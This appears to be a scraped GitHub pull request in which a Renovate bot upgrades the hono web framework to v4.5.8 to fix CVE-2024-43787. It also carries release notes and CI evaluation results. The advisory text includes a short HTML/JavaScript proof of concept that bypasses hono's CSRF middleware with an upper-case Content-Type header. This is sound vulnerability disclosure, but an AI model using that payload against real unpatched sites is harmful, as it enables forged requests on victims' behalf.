Update dependency hono to v4.5.8 [SECURITY] #130

renovate · 2024-08-22T17:36:53Z

This PR contains the following updates:

Package	Change	Age	Adoption	Passing	Confidence
hono (source)	`4.5.5` -> `4.5.8`

GitHub Vulnerability Alerts

CVE-2024-43787

Summary

Hono CSRF middleware can be bypassed using crafted Content-Type header.

Details

MIME types are case insensitive, but isRequestedByFormElementRe only matches lower-case.

https://github.com/honojs/hono/blob/b0af71fbcc6dbe44140ea76f16d68dfdb32a99a0/src/middleware/csrf/index.ts#L16-L17

As a result, attacker can bypass csrf middleware using upper-case form-like MIME type, such as "Application/x-www-form-urlencoded".

PoC

<html>
  <head>
    <title>CSRF Test</title>
    <script defer>
      document.addEventListener("DOMContentLoaded", () => {
        document.getElementById("btn").addEventListener("click", async () => {
          const res = await fetch("http://victim.example.com/test", {
            method: "POST",
            credentials: "include",
            headers: {
              "Content-Type": "Application/x-www-form-urlencoded",
            },
          });
        });
      });
    </script>
  </head>
  <body>
    <h1>CSRF Test</h1>
    <button id="btn">Click me!</button>
  </body>
</html>

Impact

Bypass csrf protection implemented with hono csrf middleware.

Discussion

I'm not sure that omitting csrf checks for Simple POST request is a good idea.
CSRF prevention and CORS are different concepts even though CORS can prevent CSRF in some cases.

Release Notes

honojs/hono (hono)

`v4.5.8`

Compare Source

Security Fix for CSRF Protection Middleware

Before this release, in versions 4.5.7 and below, the CSRF Protection Middleware did not treat requests including Content-Types with uppercase letters (e.g., Application/x-www-form-urlencoded) as potential attacks, allowing them to pass.

This could cause unexpected behavior, leading to a vulnerability. If you are using the CSRF Protection Middleware, please upgrade to version 4.5.8 or higher immediately.

For more details, see the report here: GHSA-rpfr-3m35-5vx5

`v4.5.7`

Compare Source

What's Changed

fix(jsx/dom): Fixed a bug that caused Script elements to turn into Style elements. by @usualoma in https://github.com/honojs/hono/pull/3294
perf(jsx/dom): improve performance by @usualoma in https://github.com/honojs/hono/pull/3288
feat(jsx): improve a-tag types with well known values by @ssssota in https://github.com/honojs/hono/pull/3287
fix(validator): Fixed a bug in hono/validator where URL Encoded Data could not be validated if the Content-Type included charset. by @uttk in https://github.com/honojs/hono/pull/3297
feat(jsx): improve target and formtarget attribute types by @ssssota in https://github.com/honojs/hono/pull/3299
docs(README): change Twitter to X by @nakasyou in https://github.com/honojs/hono/pull/3301
fix(client): replace optional params to url correctly by @yusukebe in https://github.com/honojs/hono/pull/3304
feat(jsx): improve input attribute types based on react by @ssssota in https://github.com/honojs/hono/pull/3302

New Contributors

@uttk made their first contribution in https://github.com/honojs/hono/pull/3297

Full Changelog: honojs/hono@v4.5.6...v4.5.7

`v4.5.6`

Compare Source

What's Changed

fix(jsx): handle async component error explicitly and throw the error in the response by @usualoma in https://github.com/honojs/hono/pull/3274
fix(validator): support multipart headers without a separating space by @Ernxst in https://github.com/honojs/hono/pull/3286
fix(validator): Allow form data will mutliple values appended by @nicksrandall in https://github.com/honojs/hono/pull/3273
feat(jsx): improve meta-tag types with well known values by @ssssota in https://github.com/honojs/hono/pull/3276

New Contributors

@Ernxst made their first contribution in https://github.com/honojs/hono/pull/3286
@ssssota made their first contribution in https://github.com/honojs/hono/pull/3276

Full Changelog: honojs/hono@v4.5.5...v4.5.6

Configuration

📅 Schedule: Branch creation - "" in timezone America/Chicago, Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

github-actions · 2024-08-22T17:37:30Z

🏗️ E2E / py-no-cli-runner (#1114) • ➡️ View in Autoblocks

🔴 python-e2e-test-suite-1-no-cli-runner x = "x1" y = "y1"

Evaluators               Min / Avg / Max    Pass / Fail / Skip
--------------------------------------------------------------
has-all-substrings    0.00 / 0.50 / 1.00             2 / 2 / 0
is-friendly           0.38 / 0.47 / 0.56             2 / 0 / 2

Test Case Duration
Min: 2.15ms / Avg: 241.99ms / Max: 715.93ms

🟢 python-e2e-test-suite-1-no-cli-runner x = "x2" y = "y1"

Evaluators               Min / Avg / Max    Pass / Fail / Skip
--------------------------------------------------------------
has-all-substrings    1.00 / 1.00 / 1.00             4 / 0 / 0
is-friendly           0.65 / 0.79 / 0.94             4 / 0 / 0

Test Case Duration
Min: 484.04ms / Avg: 766.12ms / Max: 967.53ms

🔴 python-e2e-test-suite-2-no-cli-runner

Evaluators               Min / Avg / Max    Pass / Fail / Skip
--------------------------------------------------------------
has-all-substrings    0.00 / 0.90 / 1.00             9 / 1 / 0
is-friendly           0.01 / 0.36 / 0.73             8 / 0 / 2

Test Case Duration
Min: 77.26ms / Avg: 426.34ms / Max: 989.68ms

Generated by Autoblocks against 2b0b95b

github-actions · 2024-08-22T17:37:30Z

🏗️ E2E / ts-no-cli-runner (#1114) • ➡️ View in Autoblocks

🔴 typescript-e2e-test-suite-1-no-cli-runner

Evaluators               Min / Avg / Max    Pass / Fail / Skip
--------------------------------------------------------------
has-all-substrings    0.00 / 0.75 / 1.00             3 / 1 / 0
is-friendly           0.15 / 0.45 / 0.88             4 / 0 / 0

Test Case Duration
Min: 279.43ms / Avg: 597.21ms / Max: 850.42ms

🔴 typescript-e2e-test-suite-2-no-cli-runner

Evaluators               Min / Avg / Max    Pass / Fail / Skip
--------------------------------------------------------------
has-all-substrings    0.00 / 0.70 / 1.00             7 / 3 / 0
is-friendly           0.02 / 0.44 / 0.99            10 / 0 / 0

Test Case Duration
Min: 306.59ms / Avg: 563.56ms / Max: 948.61ms

Generated by Autoblocks against 2b0b95b

github-actions · 2024-08-22T17:37:32Z

✗ FAILED • 🕐 7s • 🏗️ E2E / ts (#1114) • ➡️ View in Autoblocks

🟢 typescript-e2e-test-suite-1-with-cli-runner

Evaluators               Min / Avg / Max    Pass / Fail / Skip
--------------------------------------------------------------
has-all-substrings    1.00 / 1.00 / 1.00             4 / 0 / 0
is-friendly           0.05 / 0.52 / 0.97             4 / 0 / 0

🔴 typescript-e2e-test-suite-2-with-cli-runner

Evaluators               Min / Avg / Max    Pass / Fail / Skip
--------------------------------------------------------------
has-all-substrings    0.00 / 0.70 / 1.00             7 / 3 / 0
is-friendly           0.08 / 0.57 / 0.99            10 / 0 / 0

Generated by Autoblocks against 2b0b95b

github-actions · 2024-08-22T17:37:33Z

✗ FAILED • 🕐 9s • 🏗️ E2E / py (#1114) • ➡️ View in Autoblocks

🟢 python-e2e-test-suite-1-with-cli-runner x = "x1" y = "y1"

Evaluators               Min / Avg / Max    Pass / Fail / Skip
--------------------------------------------------------------
has-all-substrings    1.00 / 1.00 / 1.00             4 / 0 / 0
is-friendly           0.44 / 0.76 / 0.97             3 / 0 / 1

🔴 python-e2e-test-suite-1-with-cli-runner x = "x2" y = "y1"

Evaluators               Min / Avg / Max    Pass / Fail / Skip
--------------------------------------------------------------
has-all-substrings    0.00 / 0.25 / 1.00             1 / 3 / 0
is-friendly           0.39 / 0.50 / 0.62             4 / 0 / 0

🔴 python-e2e-test-suite-2-with-cli-runner

Evaluators               Min / Avg / Max    Pass / Fail / Skip
--------------------------------------------------------------
has-all-substrings    0.00 / 0.80 / 1.00             8 / 2 / 0
is-friendly           0.19 / 0.59 / 0.95             8 / 0 / 2

Generated by Autoblocks against 2b0b95b

Update dependency hono to v4.5.8 [SECURITY]

2b0b95b

renovate bot requested a review from a team August 22, 2024 17:36

adamnolte approved these changes Aug 22, 2024

View reviewed changes

adamnolte enabled auto-merge (squash) August 22, 2024 17:37

adamnolte merged commit 9280c6b into main Aug 22, 2024
12 checks passed

adamnolte deleted the renovate/npm-hono-vulnerability branch August 22, 2024 17:38

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Update dependency hono to v4.5.8 [SECURITY] #130

Update dependency hono to v4.5.8 [SECURITY] #130

renovate bot commented Aug 22, 2024

github-actions bot commented Aug 22, 2024 •

edited

Loading

github-actions bot commented Aug 22, 2024 •

edited

Loading

github-actions bot commented Aug 22, 2024 •

edited

Loading

github-actions bot commented Aug 22, 2024 •

edited

Loading

Update dependency hono to v4.5.8 [SECURITY] #130

Update dependency hono to v4.5.8 [SECURITY] #130

Conversation

renovate bot commented Aug 22, 2024

GitHub Vulnerability Alerts

CVE-2024-43787

Summary

Details

PoC

Impact

Discussion

Release Notes

v4.5.8

Security Fix for CSRF Protection Middleware

v4.5.7

What's Changed

New Contributors

v4.5.6

What's Changed

New Contributors

Configuration

github-actions bot commented Aug 22, 2024 • edited Loading

github-actions bot commented Aug 22, 2024 • edited Loading

github-actions bot commented Aug 22, 2024 • edited Loading

github-actions bot commented Aug 22, 2024 • edited Loading

`v4.5.8`

`v4.5.7`

`v4.5.6`

github-actions bot commented Aug 22, 2024 •

edited

Loading

github-actions bot commented Aug 22, 2024 •

edited

Loading

github-actions bot commented Aug 22, 2024 •

edited

Loading

github-actions bot commented Aug 22, 2024 •

edited

Loading